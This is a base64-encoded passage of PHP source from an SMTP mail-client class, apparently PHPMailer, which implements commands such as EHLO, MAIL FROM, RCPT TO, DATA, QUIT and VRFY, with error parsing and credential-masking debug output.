ICAgICAgICAgICAgICRsaW5lID0gc3Vic3RyKCRsaW5lLCAkcG9zKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgLy9CcmVhayBhdCB0aGUgZm91bmQgcG9pbnQKICAgICAgICAgICAgICAgICAgICAkbGluZXNfb3V0W10gPSBzdWJzdHIoJGxpbmUsIDAsICRwb3MpOwogICAgICAgICAgICAgICAgICAgIC8vTW92ZSBhbG9uZyBieSB0aGUgYW1vdW50IHdlIGRlYWx0IHdpdGgKICAgICAgICAgICAgICAgICAgICAkbGluZSA9IHN1YnN0cigkbGluZSwgJHBvcyArIDEpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy9JZiBwcm9jZXNzaW5nIGhlYWRlcnMgYWRkIGEgTFdTUC1jaGFyIHRvIHRoZSBmcm9udCBvZiBuZXcgbGluZSBSRkM4MjIgc2VjdGlvbiAzLjEuMQogICAgICAgICAgICAgICAgaWYgKCRpbl9oZWFkZXJzKSB7CiAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAiXHQiIC4gJGxpbmU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGxpbmVzX291dFtdID0gJGxpbmU7CiAgICAgICAgICAgIC8vU2VuZCB0aGUgbGluZXMgdG8gdGhlIHNlcnZlcgogICAgICAgICAgICBmb3JlYWNoICgkbGluZXNfb3V0IGFzICRsaW5lX291dCkgewogICAgICAgICAgICAgICAgLy9SRkMyODIxIHNlY3Rpb24gNC41LjIKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGxpbmVfb3V0KSBhbmQgJGxpbmVfb3V0WzBdID09ICcuJykgewogICAgICAgICAgICAgICAgICAgICRsaW5lX291dCA9ICcuJyAuICRsaW5lX291dDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT5jbGllbnRfc2VuZCgkbGluZV9vdXQgLiBzdGF0aWM6OkxFLCAnREFUQScpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vTWVzc2FnZSBkYXRhIGhhcyBiZWVuIHNlbnQsIGNvbXBsZXRlIHRoZSBjb21tYW5kCiAgICAgICAgLy9JbmNyZWFzZSB0aW1lbGltaXQgZm9yIGVuZCBvZiBEQVRBIGNvbW1hbmQKICAgICAgICAkc2F2ZXRpbWVsaW1pdCA9ICR0aGlzLT5UaW1lbGltaXQ7CiAgICAgICAgJHRoaXMtPlRpbWVsaW1pdCA9ICR0aGlzLT5UaW1lbGltaXQgKiAyOwogICAgICAgICRyZXN1bHQgPSAkdGhpcy0+c2VuZENvbW1hbmQoJ0RBVEEgRU5EJywgJy4nLCAyNTApOwogICAgICAgICR0aGlzLT5yZWNvcmRMYXN0VHJhbnNhY3Rpb25JRCgpOwogICAgICAgIC8vUmVzdG9yZSB0aW1lbGltaXQKICAgICAgICAkdGhpcy0+VGltZWxpbWl0ID0gJHNhdmV0aW1lbGltaXQ7CiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CiAgICAvKioKICAgICAqIFNlbmQgYW4gU01UUCBIRUxPIG9yIEVITE8gY29tbWFuZC4KICAgICAqIFVzZWQgdG8gaWRlbnRpZnkgdGhlIHNlbmRpbmcgc2VydmVyIHRvIHRoZSByZWNlaXZpbmcgc2VydmVyLgogICAgICogVGhpcyBtYWtlcyBzdXJlIHRoYXQgY2xpZW50IGFuZCBzZXJ2ZXIgYXJlIGluIGEga25vd24gc3RhdGUuCiAgICAgKiBJbXBsZW1lbnRzIFJGQyA4MjE6IEhFTE8gPFNQPiA8ZG9tYWluPiA8Q1JMRj4KICAgICAqIGFuZCBSRkMgMjgyMSBFSExPLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhvc3QgVGhlIGhvc3QgbmFtZSBvciBJUCB0byBjb25uZWN0IHRvCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBoZWxsbygkaG9zdCA9ICcnKQogICAgewogICAgICAgIC8vVHJ5IGV4dGVuZGVkIGhlbGxvIGZpcnN0IChSRkMgMjgyMSkKICAgICAgICByZXR1cm4gJHRoaXMtPnNlbmRIZWxsbygnRUhMTycsICRob3N0KSBvciAkdGhpcy0+c2VuZEhlbGxvKCdIRUxPJywgJGhvc3QpOwogICAgfQogICAgLyoqCiAgICAgKiBTZW5kIGFuIFNNVFAgSEVMTyBvciBFSExPIGNvbW1hbmQuCiAgICAgKiBMb3ctbGV2ZWwgaW1wbGVtZW50YXRpb24gdXNlZCBieSBoZWxsbygpLgogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlbGxvIFRoZSBIRUxPIHN0cmluZwogICAgICogQHBhcmFtIHN0cmluZyAkaG9zdCAgVGhlIGhvc3RuYW1lIHRvIHNheSB3ZSBhcmUKICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqCiAgICAgKiBAc2VlICAgIGhlbGxvKCkKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRIZWxsbygkaGVsbG8sICRob3N0KQogICAgewogICAgICAgICRub2Vycm9yID0gJHRoaXMtPnNlbmRDb21tYW5kKCRoZWxsbywgJGhlbGxvIC4gJyAnIC4gJGhvc3QsIDI1MCk7CiAgICAgICAgJHRoaXMtPmhlbG9fcnBseSA9ICR0aGlzLT5sYXN0X3JlcGx5OwogICAgICAgIGlmICgkbm9lcnJvcikgewogICAgICAgICAgICAkdGhpcy0+cGFyc2VIZWxsb0ZpZWxkcygkaGVsbG8pOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5zZXJ2ZXJfY2FwcyA9IG51bGw7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbm9lcnJvcjsKICAgIH0KICAgIC8qKgogICAgICogUGFyc2UgYSByZXBseSB0byBIRUxPL0VITE8gY29tbWFuZCB0byBkaXNjb3ZlciBzZXJ2ZXIgZXh0ZW5zaW9ucy4KICAgICAqIEluIGNhc2Ugb2YgSEVMTywgdGhlIG9ubHkgcGFyYW1ldGVyIHRoYXQgY2FuIGJlIGRpc2NvdmVyZWQgaXMgYSBzZXJ2ZXIgbmFtZS4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eXBlIGBIRUxPYCBvciBgRUhMT2AKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHBhcnNlSGVsbG9GaWVsZHMoJHR5cGUpCiAgICB7CiAgICAgICAgJHRoaXMtPnNlcnZlcl9jYXBzID0gW107CiAgICAgICAgJGxpbmVzID0gZXhwbG9kZSgiXG4iLCAkdGhpcy0+aGVsb19ycGx5KTsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJG4gPT4gJHMpIHsKICAgICAgICAgICAgLy9GaXJzdCA0IGNoYXJzIGNvbnRhaW4gcmVzcG9uc2UgY29kZSBmb2xsb3dlZCBieSAtIG9yIHNwYWNlCiAgICAgICAgICAgICRzID0gdHJpbShzdWJzdHIoJHMsIDQpKTsKICAgICAgICAgICAgaWYgKGVtcHR5KCRzKSkgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGZpZWxkcyA9IGV4cGxvZGUoJyAnLCAkcyk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGZpZWxkcykpIHsKICAgICAgICAgICAgICAgIGlmICghJG4pIHsKICAgICAgICAgICAgICAgICAgICAkbmFtZSA9ICR0eXBlOwogICAgICAgICAgICAgICAgICAgICRmaWVsZHMgPSAkZmllbGRzWzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbmFtZSA9IGFycmF5X3NoaWZ0KCRmaWVsZHMpOwogICAgICAgICAgICAgICAgICAgIHN3aXRjaCAoJG5hbWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnU0laRSc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmllbGRzID0gKCRmaWVsZHMgPyAkZmllbGRzWzBdIDogMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnQVVUSCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX2FycmF5KCRmaWVsZHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpZWxkcyA9IFtdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmllbGRzID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+c2VydmVyX2NhcHNbJG5hbWVdID0gJGZpZWxkczsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIC8qKgogICAgICogU2VuZCBhbiBTTVRQIE1BSUwgY29tbWFuZC4KICAgICAqIFN0YXJ0cyBhIG1haWwgdHJhbnNhY3Rpb24gZnJvbSB0aGUgZW1haWwgYWRkcmVzcyBzcGVjaWZpZWQgaW4KICAgICAqICRmcm9tLiBSZXR1cm5zIHRydWUgaWYgc3VjY2Vzc2Z1bCBvciBmYWxzZSBvdGhlcndpc2UuIElmIFRydWUKICAgICAqIHRoZSBtYWlsIHRyYW5zYWN0aW9uIGlzIHN0YXJ0ZWQgYW5kIHRoZW4gb25lIG9yIG1vcmUgcmVjaXBpZW50CiAgICAgKiBjb21tYW5kcyBtYXkgYmUgY2FsbGVkIGZvbGxvd2VkIGJ5IGEgZGF0YSBjb21tYW5kLgogICAgICogSW1wbGVtZW50cyBSRkMgODIxOiBNQUlMIDxTUD4gRlJPTTo8cmV2ZXJzZS1wYXRoPiA8Q1JMRj4uCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkZnJvbSBTb3VyY2UgYWRkcmVzcyBvZiB0aGlzIG1lc3NhZ2UKICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIG1haWwoJGZyb20pCiAgICB7CiAgICAgICAgJHVzZVZlcnAgPSAoJHRoaXMtPmRvX3ZlcnAgPyAnIFhWRVJQJyA6ICcnKTsKICAgICAgICByZXR1cm4gJHRoaXMtPnNlbmRDb21tYW5kKAogICAgICAgICAgICAnTUFJTCBGUk9NJywKICAgICAgICAgICAgJ01BSUwgRlJPTTo8JyAuICRmcm9tIC4gJz4nIC4gJHVzZVZlcnAsCiAgICAgICAgICAgIDI1MAogICAgICAgICk7CiAgICB9CiAgICAvKioKICAgICAqIFNlbmQgYW4gU01UUCBRVUlUIGNvbW1hbmQuCiAgICAgKiBDbG9zZXMgdGhlIHNvY2tldCBpZiB0aGVyZSBpcyBubyBlcnJvciBvciB0aGUgJGNsb3NlX29uX2Vycm9yIGFyZ3VtZW50IGlzIHRydWUuCiAgICAgKiBJbXBsZW1lbnRzIGZyb20gUkZDIDgyMTogUVVJVCA8Q1JMRj4uCiAgICAgKgogICAgICogQHBhcmFtIGJvb2wgJGNsb3NlX29uX2Vycm9yIFNob3VsZCB0aGUgY29ubmVjdGlvbiBjbG9zZSBpZiBhbiBlcnJvciBvY2N1cnM/CiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBxdWl0KCRjbG9zZV9vbl9lcnJvciA9IHRydWUpCiAgICB7CiAgICAgICAgJG5vZXJyb3IgPSAkdGhpcy0+c2VuZENvbW1hbmQoJ1FVSVQnLCAnUVVJVCcsIDIyMSk7CiAgICAgICAgJGVyciA9ICR0aGlzLT5lcnJvcjsgLy9TYXZlIGFueSBlcnJvcgogICAgICAgIGlmICgkbm9lcnJvciBvciAkY2xvc2Vfb25fZXJyb3IpIHsKICAgICAgICAgICAgJHRoaXMtPmNsb3NlKCk7CiAgICAgICAgICAgICR0aGlzLT5lcnJvciA9ICRlcnI7IC8vUmVzdG9yZSBhbnkgZXJyb3IgZnJvbSB0aGUgcXVpdCBjb21tYW5kCiAgICAgICAgfQogICAgICAgIHJldHVybiAkbm9lcnJvcjsKICAgIH0KICAgIC8qKgogICAgICogU2VuZCBhbiBTTVRQIFJDUFQgY29tbWFuZC4KICAgICAqIFNldHMgdGhlIFRPIGFyZ3VtZW50IHRvICR0b2FkZHIuCiAgICAgKiBSZXR1cm5zIHRydWUgaWYgdGhlIHJlY2lwaWVudCB3YXMgYWNjZXB0ZWQgZmFsc2UgaWYgaXQgd2FzIHJlamVjdGVkLgogICAgICogSW1wbGVtZW50cyBmcm9tIFJGQyA4MjE6IFJDUFQgPFNQPiBUTzo8Zm9yd2FyZC1wYXRoPiA8Q1JMRj4uCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgYWRkcmVzcyB0aGUgbWVzc2FnZSBpcyBiZWluZyBzZW50IHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkc24gICAgIENvbW1hIHNlcGFyYXRlZCBsaXN0IG9mIERTTiBub3RpZmljYXRpb25zLiBORVZFUiwgU1VDQ0VTUywgRkFJTFVSRQogICAgICogICAgICAgICAgICAgICAgICAgICAgICBvciBERUxBWS4gSWYgeW91IHNwZWNpZnkgTkVWRVIgYWxsIG90aGVyIG5vdGlmaWNhdGlvbnMgYXJlIGlnbm9yZWQuCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiByZWNpcGllbnQoJGFkZHJlc3MsICRkc24gPSAnJykKICAgIHsKICAgICAgICBpZiAoZW1wdHkoJGRzbikpIHsKICAgICAgICAgICAgJHJjcHQgPSAnUkNQVCBUTzo8JyAuICRhZGRyZXNzIC4gJz4nOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRkc24gPSBzdHJ0b3VwcGVyKCRkc24pOwogICAgICAgICAgICAkbm90aWZ5ID0gW107CiAgICAgICAgICAgIGlmIChzdHJwb3MoJGRzbiwgJ05FVkVSJykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkbm90aWZ5W10gPSAnTkVWRVInOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoWydTVUNDRVNTJywgJ0ZBSUxVUkUnLCAnREVMQVknXSBhcyAkdmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRkc24sICR2YWx1ZSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRub3RpZnlbXSA9ICR2YWx1ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHJjcHQgPSAnUkNQVCBUTzo8JyAuICRhZGRyZXNzIC4gJz4gTk9USUZZPScgLiBpbXBsb2RlKCcsJywgJG5vdGlmeSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkdGhpcy0+c2VuZENvbW1hbmQoCiAgICAgICAgICAgICdSQ1BUIFRPJywKICAgICAgICAgICAgJHJjcHQsCiAgICAgICAgICAgIFsyNTAsIDI1MV0KICAgICAgICApOwogICAgfQogICAgLyoqCiAgICAgKiBTZW5kIGFuIFNNVFAgUlNFVCBjb21tYW5kLgogICAgICogQWJvcnQgYW55IHRyYW5zYWN0aW9uIHRoYXQgaXMgY3VycmVudGx5IGluIHByb2dyZXNzLgogICAgICogSW1wbGVtZW50cyBSRkMgODIxOiBSU0VUIDxDUkxGPi4KICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wgVHJ1ZSBvbiBzdWNjZXNzCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiByZXNldCgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5zZW5kQ29tbWFuZCgnUlNFVCcsICdSU0VUJywgMjUwKTsKICAgIH0KICAgIC8qKgogICAgICogU2VuZCBhIGNvbW1hbmQgdG8gYW4gU01UUCBzZXJ2ZXIgYW5kIGNoZWNrIGl0cyByZXR1cm4gY29kZS4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICAgICRjb21tYW5kICAgICAgIFRoZSBjb21tYW5kIG5hbWUgLSBub3Qgc2VudCB0byB0aGUgc2VydmVyCiAgICAgKiBAcGFyYW0gc3RyaW5nICAgICRjb21tYW5kc3RyaW5nIFRoZSBhY3R1YWwgY29tbWFuZCB0byBzZW5kCiAgICAgKiBAcGFyYW0gaW50fGFycmF5ICRleHBlY3QgICAgICAgIE9uZSBvciBtb3JlIGV4cGVjdGVkIGludGVnZXIgc3VjY2VzcyBjb2RlcwogICAgICoKICAgICAqIEByZXR1cm4gYm9vbCBUcnVlIG9uIHN1Y2Nlc3MKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRDb21tYW5kKCRjb21tYW5kLCAkY29tbWFuZHN0cmluZywgJGV4cGVjdCkKICAgIHsKICAgICAgICBpZiAoISR0aGlzLT5jb25uZWN0ZWQoKSkgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoIkNhbGxlZCAkY29tbWFuZCB3aXRob3V0IGJlaW5nIGNvbm5lY3RlZCIpOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8vUmVqZWN0IGxpbmUgYnJlYWtzIGluIGFsbCBjb21tYW5kcwogICAgICAgIGlmIChzdHJwb3MoJGNvbW1hbmRzdHJpbmcsICJcbiIpICE9PSBmYWxzZSBvciBzdHJwb3MoJGNvbW1hbmRzdHJpbmcsICJcciIpICE9PSBmYWxzZSkgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoIkNvbW1hbmQgJyRjb21tYW5kJyBjb250YWluZWQgbGluZSBicmVha3MiKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+Y2xpZW50X3NlbmQoJGNvbW1hbmRzdHJpbmcgLiBzdGF0aWM6OkxFLCAkY29tbWFuZCk7CiAgICAgICAgJHRoaXMtPmxhc3RfcmVwbHkgPSAkdGhpcy0+Z2V0X2xpbmVzKCk7CiAgICAgICAgLy8gRmV0Y2ggU01UUCBjb2RlIGFuZCBwb3NzaWJsZSBlcnJvciBjb2RlIGV4cGxhbmF0aW9uCiAgICAgICAgJG1hdGNoZXMgPSBbXTsKICAgICAgICBpZiAocHJlZ19tYXRjaCgnL14oWzAtOV17M30pWyAtXSg/OihbMC05XVxcLlswLTldXFwuWzAtOV17MSwyfSkgKT8vJywgJHRoaXMtPmxhc3RfcmVwbHksICRtYXRjaGVzKSkgewogICAgICAgICAgICAkY29kZSA9ICRtYXRjaGVzWzFdOwogICAgICAgICAgICAkY29kZV9leCA9IChjb3VudCgkbWF0Y2hlcykgPiAyID8gJG1hdGNoZXNbMl0gOiBudWxsKTsKICAgICAgICAgICAgLy8gQ3V0IG9mZiBlcnJvciBjb2RlIGZyb20gZWFjaCByZXNwb25zZSBsaW5lCiAgICAgICAgICAgICRkZXRhaWwgPSBwcmVnX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAiL3skY29kZX1bIC1dIiAuCiAgICAgICAgICAgICAgICAgICAgKCRjb2RlX2V4ID8gc3RyX3JlcGxhY2UoJy4nLCAnXFwuJywgJGNvZGVfZXgpIC4gJyAnIDogJycpIC4gJy9tJywKICAgICAgICAgICAgICAgICcnLAogICAgICAgICAgICAgICAgJHRoaXMtPmxhc3RfcmVwbHkKICAgICAgICAgICAgKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyBGYWxsIGJhY2sgdG8gc2ltcGxlIHBhcnNpbmcgaWYgcmVnZXggZmFpbHMKICAgICAgICAgICAgJGNvZGUgPSBzdWJzdHIoJHRoaXMtPmxhc3RfcmVwbHksIDAsIDMpOwogICAgICAgICAgICAkY29kZV9leCA9IG51bGw7CiAgICAgICAgICAgICRkZXRhaWwgPSBzdWJzdHIoJHRoaXMtPmxhc3RfcmVwbHksIDQpOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+ZWRlYnVnKCdTRVJWRVIgLT4gQ0xJRU5UOiAnIC4gJHRoaXMtPmxhc3RfcmVwbHksIHNlbGY6OkRFQlVHX1NFUlZFUik7CiAgICAgICAgaWYgKCFpbl9hcnJheSgkY29kZSwgKGFycmF5KSAkZXhwZWN0KSkgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoCiAgICAgICAgICAgICAgICAiJGNvbW1hbmQgY29tbWFuZCBmYWlsZWQiLAogICAgICAgICAgICAgICAgJGRldGFpbCwKICAgICAgICAgICAgICAgICRjb2RlLAogICAgICAgICAgICAgICAgJGNvZGVfZXgKICAgICAgICAgICAgKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygKICAgICAgICAgICAgICAgICdTTVRQIEVSUk9SOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddIC4gJzogJyAuICR0aGlzLT5sYXN0X3JlcGx5LAogICAgICAgICAgICAgICAgc2VsZjo6REVCVUdfQ0xJRU5UCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPnNldEVycm9yKCcnKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIC8qKgogICAgICogU2VuZCBhbiBTTVRQIFNBTUwgY29tbWFuZC4KICAgICAqIFN0YXJ0cyBhIG1haWwgdHJhbnNhY3Rpb24gZnJvbSB0aGUgZW1haWwgYWRkcmVzcyBzcGVjaWZpZWQgaW4gJGZyb20uCiAgICAgKiBSZXR1cm5zIHRydWUgaWYgc3VjY2Vzc2Z1bCBvciBmYWxzZSBvdGhlcndpc2UuIElmIFRydWUKICAgICAqIHRoZSBtYWlsIHRyYW5zYWN0aW9uIGlzIHN0YXJ0ZWQgYW5kIHRoZW4gb25lIG9yIG1vcmUgcmVjaXBpZW50CiAgICAgKiBjb21tYW5kcyBtYXkgYmUgY2FsbGVkIGZvbGxvd2VkIGJ5IGEgZGF0YSBjb21tYW5kLiBUaGlzIGNvbW1hbmQKICAgICAqIHdpbGwgc2VuZCB0aGUgbWVzc2FnZSB0byB0aGUgdXNlcnMgdGVybWluYWwgaWYgdGhleSBhcmUgbG9nZ2VkCiAgICAgKiBpbiBhbmQgc2VuZCB0aGVtIGFuIGVtYWlsLgogICAgICogSW1wbGVtZW50cyBSRkMgODIxOiBTQU1MIDxTUD4gRlJPTTo8cmV2ZXJzZS1wYXRoPiA8Q1JMRj4uCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkZnJvbSBUaGUgYWRkcmVzcyB0aGUgbWVzc2FnZSBpcyBmcm9tCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZW5kQW5kTWFpbCgkZnJvbSkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnNlbmRDb21tYW5kKCdTQU1MJywgIlNBTUwgRlJPTTokZnJvbSIsIDI1MCk7CiAgICB9CiAgICAvKioKICAgICAqIFNlbmQgYW4gU01UUCBWUkZZIGNvbW1hbmQuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgbmFtZSB0byB2ZXJpZnkKICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHZlcmlmeSgkbmFtZSkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnNlbmRDb21tYW5kKCdWUkZZJywgIlZSRlkgJG5hbWUiLCBbMjUwLCAyNTFdKTsKICAgIH0KICAgIC8qKgogICAgICogU2VuZCBhbiBTTVRQIE5PT1AgY29tbWFuZC4KICAgICAqIFVzZWQgdG8ga2VlcCBrZWVwLWFsaXZlcyBhbGl2ZSwgZG9lc24ndCBhY3R1YWxseSBkbyBhbnl0aGluZy4KICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIG5vb3AoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+c2VuZENvbW1hbmQoJ05PT1AnLCAnTk9PUCcsIDI1MCk7CiAgICB9CiAgICAvKioKICAgICAqIFNlbmQgYW4gU01UUCBUVVJOIGNvbW1hbmQuCiAgICAgKiBUaGlzIGlzIGFuIG9wdGlvbmFsIGNvbW1hbmQgZm9yIFNNVFAgdGhhdCB0aGlzIGNsYXNzIGRvZXMgbm90IHN1cHBvcnQuCiAgICAgKiBUaGlzIG1ldGhvZCBpcyBoZXJlIHRvIG1ha2UgdGhlIFJGQzgyMSBEZWZpbml0aW9uIGNvbXBsZXRlIGZvciB0aGlzIGNsYXNzCiAgICAgKiBhbmQgX21heV8gYmUgaW1wbGVtZW50ZWQgaW4gZnV0dXJlLgogICAgICogSW1wbGVtZW50cyBmcm9tIFJGQyA4MjE6IFRVUk4gPENSTEY+LgogICAgICoKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdHVybigpCiAgICB7CiAgICAgICAgJHRoaXMtPnNldEVycm9yKCdUaGUgU01UUCBUVVJOIGNvbW1hbmQgaXMgbm90IGltcGxlbWVudGVkJyk7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCBOT1RJQ0U6ICcgLiAkdGhpcy0+ZXJyb3JbJ2Vycm9yJ10sIHNlbGY6OkRFQlVHX0NMSUVOVCk7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgLyoqCiAgICAgKiBTZW5kIHJhdyBkYXRhIHRvIHRoZSBzZXJ2ZXIuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkZGF0YSAgICBUaGUgZGF0YSB0byBzZW5kCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjb21tYW5kIE9wdGlvbmFsbHksIHRoZSBjb21tYW5kIHRoaXMgaXMgcGFydCBvZiwgdXNlZCBvbmx5IGZvciBjb250cm9sbGluZyBkZWJ1ZyBvdXRwdXQKICAgICAqCiAgICAgKiBAcmV0dXJuIGludHxib29sIFRoZSBudW1iZXIgb2YgYnl0ZXMgc2VudCB0byB0aGUgc2VydmVyIG9yIGZhbHNlIG9uIGVycm9yCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGllbnRfc2VuZCgkZGF0YSwgJGNvbW1hbmQgPSAnJykKICAgIHsKICAgICAgICAvL0lmIFNNVFAgdHJhbnNjcmlwdHMgYXJlIGxlZnQgZW5hYmxlZCwgb3IgZGVidWcgb3V0cHV0IGlzIHBvc3RlZCBvbmxpbmUKICAgICAgICAvL2l0IGNhbiBsZWFrIGNyZWRlbnRpYWxzLCBzbyBoaWRlIGNyZWRlbnRpYWxzIGluIGFsbCBidXQgbG93ZXN0IGxldmVsCiAgICAgICAgaWYgKAogICAgICAgICAgICBzZWxmOjpERUJVR19MT1dMRVZFTCA+ICR0aGlzLT5kb19kZWJ1ZyBhbmQKICAgICAgICAgICAgaW5fYXJyYXkoJGNvbW1hbmQsIFsnVXNlciAmIFBhc3N3b3JkJywgJ1VzZXJuYW1lJywgJ1Bhc3N3b3JkJ10sIHRydWUpCiAgICAgICAgKSB7CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ0NMSUVOVCAtPiBTRVJWRVI6IDxjcmVkZW50aWFscyBoaWRkZW4+Jywgc2VsZjo6REVCVUdfQ0xJRU5UKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdDTElFTlQgLT4gU0VSVkVSOiAnIC4gJGRhdGEsIHNlbGY6OkRFQlVHX0NMSUVOVCk7CiAgICAgICAgfQogICAgICAgIHNldF9lcnJvcl9oYW5kbGVyKFskdGhpcywgJ2Vycm9ySGFuZGxlciddKTsKICAgICAgICAkcmVzdWx0ID0gZndyaXRlKCR0aGlzLT5zbXRwX2Nvbm4sICRkYXRhKTsKICAgICAgICByZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIC8qKgogICAgICogR2V0IHRoZSBsYXRlc3QgZXJyb3IuCiAgICAgKgogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0RXJyb3IoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+ZXJyb3I7CiAgICB9CiAgICAvKioKICAgICAqIEdldCBTTVRQIGV4dGVuc2lvbnMgYXZhaWxhYmxlIG9uIHRoZSBzZXJ2ZXIuCiAgICAgKgogICAgICogQHJldHVybiBhcnJheXxudWxsCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTZXJ2ZXJFeHRMaXN0KCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnNlcnZlcl9jYXBzOwogICAgfQogICAgLyoqCiAgICAgKiBHZXQgbWV0YWRhdGEgYWJvdXQgdGhlIFNNVFAgc2VydmVyIGZyb20gaXRzIEhFTE8vRUhMTyByZXNwb25zZS4KICAgICAqIFRoZSBtZXRob2Qgd29ya3MgaW4gdGhyZWUgd2F5cywgZGVwZW5kZW50IG9uIGFyZ3VtZW50IHZhbHVlIGFuZCBjdXJyZW50IHN0YXRlOgogICAgICogICAx